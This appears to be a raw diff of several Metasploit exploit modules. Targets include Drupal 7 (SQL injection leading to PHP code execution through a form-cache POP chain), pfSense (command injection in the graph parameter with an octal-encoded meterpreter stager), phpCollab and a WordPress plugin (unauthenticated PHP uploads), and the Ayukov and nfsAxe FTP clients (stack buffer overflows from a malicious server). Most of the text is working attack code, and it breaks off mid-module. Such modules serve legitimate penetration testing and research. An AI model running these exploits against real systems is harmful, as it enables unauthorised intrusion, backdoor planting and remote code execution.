This creates a new Drupal user, adds it to the administrators group,
|
||||
enable Drupal's PHP module, grant the administrators the right to
|
||||
bundle PHP code in their post, create a new post containing the
|
||||
payload and preview it to trigger the payload execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'SektionEins', # discovery
|
||||
'Christian Mehlmauer', # msf module
|
||||
'Brandon Perry' # msf module
|
||||
'WhiteWinterWolf', # form-cache PHP injection method
|
||||
'Christian Mehlmauer', # user-post PHP injection method
|
||||
'Brandon Perry' # user-post PHP injection method
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-3704'],
|
||||
['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
|
||||
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
|
||||
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html'],
|
||||
['URL', 'https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Drupal 7.0 - 7.31',{}]],
|
||||
'Targets' =>
|
||||
[
|
||||
['Drupal 7.0 - 7.31 (form-cache PHP injection method)', {}],
|
||||
['Drupal 7.0 - 7.31 (user-post PHP injection method)', {}]
|
||||
],
|
||||
'DisclosureDate' => 'Oct 15 2014',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
|
||||
])
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
|
||||
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
|
||||
])
|
||||
[
|
||||
OptInt.new('Wait', [true, "Number of seconds to wait before triggering the payload sent (form-cache method only).", 5]),
|
||||
OptString.new('ADMIN_ROLE', [ true, "The administrator role (user-post method only)", 'administrator']),
|
||||
OptInt.new('Iter', [ true, "Hash iterations (2^ITER, user-post method only))", 10])
|
||||
])
|
||||
end
|
||||
|
||||
##
|
||||
# Form-cache PHP injection method
|
||||
##
|
||||
|
||||
def sql_insert(id, value)
|
||||
curlyopen = rand_text_alphanumeric(8)
|
||||
curlyclose = rand_text_alphanumeric(8)
|
||||
value.gsub!('{', curlyopen)
|
||||
value.gsub!('}', curlyclose)
|
||||
|
||||
"INSERT INTO {cache_form} (cid, data, expire, created, serialized) " \
|
||||
+ "VALUES ('#{id}', REPLACE(REPLACE('#{value}', '#{curlyopen}', " \
|
||||
+ "CHAR(#{'{'.ord})), '#{curlyclose}', CHAR(#{'}'.ord})), -1, 0, 1);"
|
||||
end
|
||||
|
||||
def exploit_formcache
|
||||
form_build_id = 'form-' + rand_text_alphanumeric(43)
|
||||
|
||||
# Remove the malicious cache entries upon success.
|
||||
evalstr = "cache_clear_all(array('form_" + form_build_id + "', " \
|
||||
+ "'form_state_" + form_build_id + "'), 'cache_form');"
|
||||
evalstr << payload.encoded
|
||||
evalstr = Rex::Text.encode_base64(evalstr)
|
||||
# '<?php' tag required by php_eval().
|
||||
evalstr = "<?php eval(base64_decode(\\'#{evalstr}\\'));"
|
||||
# Don't count the backslashes.
|
||||
evalstr_len = evalstr.length - 2
|
||||
|
||||
# Serialized malicious form state.
|
||||
# The PHP module may be disabled (and should be).
|
||||
# Load its definition manually to get access to php_eval().
|
||||
state = 'a:1:{s:10:"build_info";a:1:{s:5:"files";a:1:{'
|
||||
state << 'i:0;s:22:"modules/php/php.module";'
|
||||
state << '}}}'
|
||||
# Initiates a POP chain in includes/form.inc:1850, form_builder()
|
||||
form = 'a:6:{'
|
||||
form << 's:5:"#type";s:4:"form";'
|
||||
form << 's:8:"#parents";a:1:{i:0;s:4:"user";}'
|
||||
form << 's:8:"#process";a:1:{i:0;s:13:"drupal_render";}'
|
||||
form << 's:16:"#defaults_loaded";b:1;'
|
||||
form << 's:12:"#post_render";a:1:{i:0;s:8:"php_eval";}'
|
||||
form << 's:9:"#children";s:' + evalstr_len.to_s + ':"' + evalstr + '";'
|
||||
form << '}'
|
||||
|
||||
# SQL injection key lines:
|
||||
# - modules/user/user.module:2149, user_login_authenticate_validate()
|
||||
# - includes/database/database.inc:745, expandArguments()
|
||||
sql = sql_insert('form_state_' + form_build_id, state)
|
||||
sql << sql_insert('form_' + form_build_id, form)
|
||||
# Causes PHP script to timeout, avoiding payload logging.
|
||||
sql << 'SELECT SLEEP(666);'
|
||||
|
||||
# Use the login form to inject the malicious cache entry.
|
||||
# '!' follows redirects, used by some Drupal sites to enforce clean URLs.
|
||||
# Don't check the return code as it *will* timeout.
|
||||
send_request_cgi!({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
# Don't use 'user_login_block' as it may be disabled.
|
||||
'form_id' => 'user_login',
|
||||
'form_build_id' => '',
|
||||
"name[0;#{sql}#]" => '',
|
||||
# This field must be located *after* the injection.
|
||||
"name[0]" => '',
|
||||
'op' => 'Log in',
|
||||
'pass' => Rex::Text.rand_text_alpha(8)
|
||||
},
|
||||
'vars_get' => {
|
||||
'q' => 'user/login'
|
||||
}
|
||||
}, timeout=datastore['Wait'])
|
||||
|
||||
# Trigger the malicious cache entry using its form ID.
|
||||
send_request_cgi!({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'form_id' => 'user_login',
|
||||
"form_build_id" => form_build_id,
|
||||
"name" => Rex::Text.rand_text_alpha(10),
|
||||
'op' => 'Log in',
|
||||
'pass' => Rex::Text.rand_text_alpha(10)
|
||||
},
|
||||
'vars_get' => {
|
||||
'q' => 'user/login'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
##
|
||||
# User-post PHP injection method
|
||||
##
|
||||
|
||||
def uri_path
|
||||
normalize_uri(target_uri.path)
|
||||
end
|
||||
|
@ -59,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def iter
|
||||
datastore['ITER']
|
||||
datastore['Iter']
|
||||
end
|
||||
|
||||
def itoa64
|
||||
|
@ -133,7 +248,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return form_build_id, form_token
|
||||
end
|
||||
|
||||
def exploit
|
||||
def exploit_newuser
|
||||
|
||||
# TODO: Check if option admin_role exists via admin/people/permissions/roles
|
||||
|
||||
|
@ -352,4 +467,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'cookie' => cookie
|
||||
)
|
||||
end
|
||||
|
||||
##
|
||||
# Main
|
||||
##
|
||||
|
||||
def exploit
|
||||
case datastore['TARGET']
|
||||
when 0
|
||||
exploit_formcache
|
||||
when 1
|
||||
exploit_newuser
|
||||
else
|
||||
fail_with(Failure::BadConfig, "Invalid target selected.")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,173 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'pfSense authenticated graph status RCE',
|
||||
'Description' => %q(
|
||||
pfSense, a free BSD based open source firewall distribution,
|
||||
version <= 2.2.6 contains a remote command execution
|
||||
vulnerability post authentication in the _rrd_graph_img.php page.
|
||||
The vulnerability occurs via the graph GET parameter. A non-administrative
|
||||
authenticated attacker can inject arbitrary operating system commands
|
||||
and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Security-Assessment.com', # discovery
|
||||
'Milton Valencia', # metasploit module <wetw0rk>
|
||||
'Jared Stephens', # python script <mvrk>
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '39709' ],
|
||||
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'php',
|
||||
'Privileged' => 'true',
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
|
||||
'Encoder' => 'php/base64'
|
||||
},
|
||||
'Arch' => [ ARCH_PHP ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 6000,
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => '-bind',
|
||||
}
|
||||
},
|
||||
'Targets' => [[ 'Automatic Target', {} ]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 18, 2016',
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
||||
OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']),
|
||||
Opt::RPORT(443)
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def login
|
||||
res = send_request_cgi(
|
||||
'uri' => '/index.php',
|
||||
'method' => 'GET'
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
|
||||
|
||||
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||
vprint_status("CSRF Token for login: #{csrf}")
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => '/index.php',
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'__csrf_magic' => csrf,
|
||||
'usernamefld' => datastore['USERNAME'],
|
||||
'passwordfld' => datastore['PASSWORD'],
|
||||
'login' => ''
|
||||
}
|
||||
)
|
||||
unless res
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
|
||||
end
|
||||
if res.code == 302
|
||||
vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
return res.get_cookies
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def detect_version(cookie)
|
||||
res = send_request_cgi(
|
||||
'uri' => '/index.php',
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
)
|
||||
unless res
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
|
||||
end
|
||||
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
|
||||
if version
|
||||
print_status("Detected pfSense #{version}, uploading intial payload")
|
||||
return Gem::Version.new(version)
|
||||
end
|
||||
# If the device isn't fully setup, you get stuck at redirects to wizard.php
|
||||
# however, this does NOT stop exploitation strangely
|
||||
print_error('pfSense version not detected or wizard still enabled.')
|
||||
Gem::Version.new('0.0')
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
cookie = login
|
||||
version = detect_version(cookie)
|
||||
filename = rand_text_alpha(rand(1..10))
|
||||
|
||||
# generate the PHP meterpreter payload
|
||||
stager = 'echo \'<?php '
|
||||
stager << payload.encode
|
||||
stager << "?>\' > #{filename}"
|
||||
# here we begin the encoding process to
|
||||
# convert the payload to octal! Ugly code
|
||||
# don't look
|
||||
complete_stage = ""
|
||||
for i in 0..(stager.length()-1)
|
||||
if version.to_s =~ /2.2/
|
||||
complete_stage << '\\'
|
||||
end
|
||||
complete_stage << "\\#{stager[i].ord.to_s(8)}"
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => '/status_rrd_graph_img.php',
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'database' => '-throughput.rrd',
|
||||
'graph' => "file|printf '#{complete_stage}'|sh|echo",
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
print_status('Payload uploaded successfully, executing')
|
||||
register_file_for_cleanup(filename)
|
||||
else
|
||||
print_error('Failed to upload payload...')
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/status_rrd_graph_img.php',
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'database' => '-throughput.rrd',
|
||||
'graph' => "file|php #{filename}|echo "
|
||||
}
|
||||
})
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,104 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'phpCollab 2.5.1 Unauthenticated File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits a file upload vulnerability in phpCollab 2.5.1
|
||||
which could be abused to allow unauthenticated users to execute arbitrary code
|
||||
under the context of the web server user.
|
||||
|
||||
The exploit has been tested on Ubuntu 16.04.3 64-bit
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Nicolas SERRA <n.serra[at]sysdream.com>', # Vulnerability discovery
|
||||
'Nick Marcoccio "1oopho1e" <iremembermodems[at]gmail.com>', # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-6090' ],
|
||||
[ 'EDB', '42934' ],
|
||||
[ 'URL', 'http://www.phpcollab.com/' ],
|
||||
[ 'URL', 'https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 29 2017'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Installed path of phpCollab ", "/phpcollab/"])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
url = normalize_uri(target_uri.path, "general/login.php?msg=logout")
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
)
|
||||
|
||||
version = res.body.scan(/PhpCollab v([\d\.]+)/).flatten.first
|
||||
vprint_status("Found version: #{version}")
|
||||
|
||||
unless version
|
||||
vprint_status('Unable to get the PhpCollab version.')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if Gem::Version.new(version) >= Gem::Version.new('0')
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
filename = '1.' + rand_text_alpha(8 + rand(4)) + '.php'
|
||||
id = File.basename(filename,File.extname(filename))
|
||||
register_file_for_cleanup(filename)
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload\"; filename=\"#{filename}\"")
|
||||
|
||||
print_status("Uploading backdoor file: #{filename}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'clients/editclient.php'),
|
||||
'vars_get' => {
|
||||
'id' => id,
|
||||
'action' => 'update'
|
||||
},
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s
|
||||
})
|
||||
|
||||
if res && res.code == 302
|
||||
print_good("Backdoor successfully created.")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
|
||||
end
|
||||
|
||||
print_status("Triggering the exploit...")
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "logos_clients/" + filename)
|
||||
}, 5)
|
||||
end
|
||||
end
|
|
@ -96,6 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status("Executing the payload at #{payload_uri}...")
|
||||
register_files_for_cleanup("#{payload_name}.php")
|
||||
register_files_for_cleanup("#{plugin_name}.php")
|
||||
register_dir_for_cleanup("../#{plugin_name}")
|
||||
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,177 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2016, 12, 10), 'exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',
|
||||
'Description' => %(
|
||||
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
|
||||
an unauthenticated file upload vulnerability, allowing guests
|
||||
to upload arbitrary PHP code that can be executed in the context
|
||||
of the web server.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'James Golovich', # Discovery and disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-1209'],
|
||||
['WPVDB', '8485'],
|
||||
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
|
||||
],
|
||||
'DisclosureDate' => 'May 04 2016',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['ninja-forms', {}]],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
|
||||
register_options(opts, self.class)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_good(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_error(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
|
||||
end
|
||||
|
||||
def enable_v3_functionality
|
||||
print_status 'Enabling vulnerable V3 functionality...'
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path,
|
||||
'vars_get' => { 'nf-switcher' => 'upgrade' }
|
||||
)
|
||||
|
||||
unless res && res.code == 200
|
||||
if res
|
||||
fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
|
||||
else
|
||||
fail_with(Failure::Unreachable, 'Connection timed out.')
|
||||
end
|
||||
end
|
||||
|
||||
vprint_good 'Enabled V3 functionality'
|
||||
end
|
||||
|
||||
def disable_v3_functionality
|
||||
print_status 'Disabling vulnerable V3 functionality...'
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path,
|
||||
'vars_get' => { 'nf-switcher' => 'rollback' }
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
vprint_good 'Disabled V3 functionality'
|
||||
elsif !res
|
||||
print_error('Connection timed out while disabling V3 functionality')
|
||||
else
|
||||
print_error 'Failed to disable the vulnerable V3 functionality'
|
||||
end
|
||||
end
|
||||
|
||||
def generate_mime_message(payload_name, nonce)
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
|
||||
data.add_part(nonce, nil, nil, 'form-data; name="security"')
|
||||
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
|
||||
data
|
||||
end
|
||||
|
||||
def fetch_ninja_form_nonce
|
||||
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
|
||||
end
|
||||
|
||||
form_wpnonce = res.get_hidden_inputs.first
|
||||
form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce
|
||||
|
||||
nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce
|
||||
|
||||
unless nonce
|
||||
fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
|
||||
end
|
||||
|
||||
nonce
|
||||
end
|
||||
|
||||
def upload_payload(data)
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
|
||||
vprint_error("Server responded with status code #{res.code}") if res.code != 200
|
||||
end
|
||||
|
||||
def execute_payload(payload_name, payload_url)
|
||||
register_files_for_cleanup("nftmp-#{payload_name.downcase}")
|
||||
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
|
||||
|
||||
if !res.nil? && res.code == 404
|
||||
print_error("Failed to upload the payload")
|
||||
else
|
||||
print_good("Executed payload")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Vulnerable code is only available in the version 3 preview mode, which can be
|
||||
# enabled by unauthenticated users due to lack of user level validation.
|
||||
enable_v3_functionality
|
||||
|
||||
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
|
||||
# page that contains a form generated by Ninja Forms.
|
||||
nonce = fetch_ninja_form_nonce
|
||||
|
||||
print_status("Preparing payload...")
|
||||
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
|
||||
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
|
||||
data = generate_mime_message(payload_name, nonce)
|
||||
|
||||
print_status("Uploading payload to #{payload_url}")
|
||||
upload_payload(data)
|
||||
|
||||
print_status("Executing the payload...")
|
||||
execute_payload(payload_name, payload_url)
|
||||
|
||||
# Once the payload has been executed, we can disable the preview functionality again.
|
||||
disable_v3_functionality
|
||||
end
|
||||
end
|
|
@ -0,0 +1,108 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
|
||||
Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
|
||||
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
|
||||
code exeuction under the context of the user if successfully exploited.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Berk Cem Goksel', # Original exploit author
|
||||
'Daniel Teixeira', # MSF module author
|
||||
'sinn3r' # RCA, improved module reliability and user exp
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-15222'],
|
||||
[ 'EDB', '43025' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x01\x0a\x10\x0d",
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SRVHOST' => '0.0.0.0',
|
||||
},
|
||||
'DisclosureDate' => 'Oct 21 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
srv_ip_for_client = datastore['SRVHOST']
|
||||
if srv_ip_for_client == '0.0.0.0'
|
||||
if datastore['LHOST']
|
||||
srv_ip_for_client = datastore['LHOST']
|
||||
else
|
||||
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
|
||||
end
|
||||
end
|
||||
|
||||
srv_port = datastore['SRVPORT']
|
||||
|
||||
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
|
||||
super
|
||||
end
|
||||
|
||||
def on_client_connect(client)
|
||||
return if ((p = regenerate_payload(client)) == nil)
|
||||
print_status("#{client.peerhost} - connected")
|
||||
|
||||
# Let the client log in
|
||||
client.get_once
|
||||
|
||||
print_status("#{client.peerhost} - sending 331 OK")
|
||||
user = "331 OK.\r\n"
|
||||
client.put(user)
|
||||
|
||||
client.get_once
|
||||
print_status("#{client.peerhost} - sending 230 OK")
|
||||
pass = "230 OK.\r\n"
|
||||
client.put(pass)
|
||||
|
||||
# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
|
||||
# is visible from the user's command prompt, which would make the buffer overflow attack too
|
||||
# obvious.
|
||||
sploit = "\x20"*4116
|
||||
|
||||
sploit << [target.ret].pack('V')
|
||||
sploit << make_nops(10)
|
||||
sploit << payload.encoded
|
||||
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
|
||||
sploit << "\r\n"
|
||||
|
||||
print_status("#{client.peerhost} - sending the malicious response")
|
||||
client.put(sploit)
|
||||
|
||||
client.get_once
|
||||
pwd = "257\r\n"
|
||||
client.put(pwd)
|
||||
client.get_once
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,111 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Exploit::Seh
|
||||
include Msf::Exploit::Remote::Egghunter
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote
|
||||
code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Tulpa', # Original exploit author
|
||||
'Daniel Teixeira' # MSF module author
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '42011' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x0a\x10",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# p/p/r in wcmpa10.dll
|
||||
[ 'Windows Universal', {'Ret' => 0x6801549F } ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SRVHOST' => '0.0.0.0',
|
||||
},
|
||||
'DisclosureDate' => 'May 15 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
srv_ip_for_client = datastore['SRVHOST']
|
||||
if srv_ip_for_client == '0.0.0.0'
|
||||
if datastore['LHOST']
|
||||
srv_ip_for_client = datastore['LHOST']
|
||||
else
|
||||
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
|
||||
end
|
||||
end
|
||||
|
||||
srv_port = datastore['SRVPORT']
|
||||
|
||||
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
|
||||
super
|
||||
end
|
||||
|
||||
def on_client_connect(client)
|
||||
return if ((p = regenerate_payload(client)) == nil)
|
||||
print_status("#{client.peerhost} - connected.")
|
||||
|
||||
res = client.get_once.to_s.strip
|
||||
print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
|
||||
print_status("#{client.peerhost} - Response: Sending 220 Welcome")
|
||||
welcome = "220 Welcome.\r\n"
|
||||
client.put(welcome)
|
||||
|
||||
res = client.get_once.to_s.strip
|
||||
